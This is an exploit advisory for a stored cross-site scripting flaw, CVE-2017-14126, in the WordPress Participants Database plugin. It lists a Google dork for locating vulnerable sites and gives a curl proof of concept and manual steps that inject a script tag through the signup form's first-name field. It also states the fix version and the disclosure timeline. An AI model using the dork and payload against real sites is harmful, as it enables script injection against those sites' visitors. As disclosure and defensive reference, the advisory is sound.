Exploit Title: Wordpress Plugin Participants Database < 1.7.5.10 - XSS
Google Dork: inurl:wp-content/plugins/participants-database/
Date: 01-Sep-17
Exploit Author: Benjamin Lim
Vendor Homepage: https://xnau.com/
Software Link: https://wordpress.org/plugins/participants-database/
Version: 1.7.5.9
Tested on: Kali Linux 2.0
CVE : CVE-2017-14126

1. Product & Service Introduction:

Participants Database is a Wordpress plugin for managing a database of participants, members or volunteers. As of now, the plugin has been downloaded 320,000 times and has 10,000+ active installs.

2. Technical Details & Description:

Cross site scripting (XSS) vulnerability in the Wordpress Participants Database plugin 1.7.59 allows attackers to inject arbitrary javascript via the Name parameter.
The XSS vulnerability is found on the participant signup form input textfield. The get_field_value_display() function in PDb_FormElement.class.php did not escape HTML special characters, allowing an attacker to input javascript. The XSS code will be executed on 2 pages.

1) The "Thank you for signing up" page immediately after submitting the form.
2) The page which is configured to output the list of participants with the [pdb_list] shortcode.

3. Proof of Concept (PoC):

curl -k -F action=signup -F subsource=participants-database -F shortcode_page=/?page_id=1 -F thanks_page=/?page_id=1 -F instance_index=2 -F pdb_data_keys=1.2.9.10 -F session_hash=0123456789 -F first_name=<script>alert("1");</script> -F last_name=a -F email=a@a.com -F mailing_list=No -F submit_button=Submit http://localhost/?page_id=1

To trigger manually, browse to the page, input the following in the form and click Sign Up.
First Name: <script>alert("1");</script>
Last Name: test
Email: test@test.com

4. Mitigation

Update to version 1.7.5.10

5. Disclosure Timeline

2017/09/01 Vendor contacted
2017/09/02 Vendor responded
2017/09/03 Update released
2017/09/06 Advisory released to the public

6. Credits & Authors:

Benjamin Lim - [https://limbenjamin.com]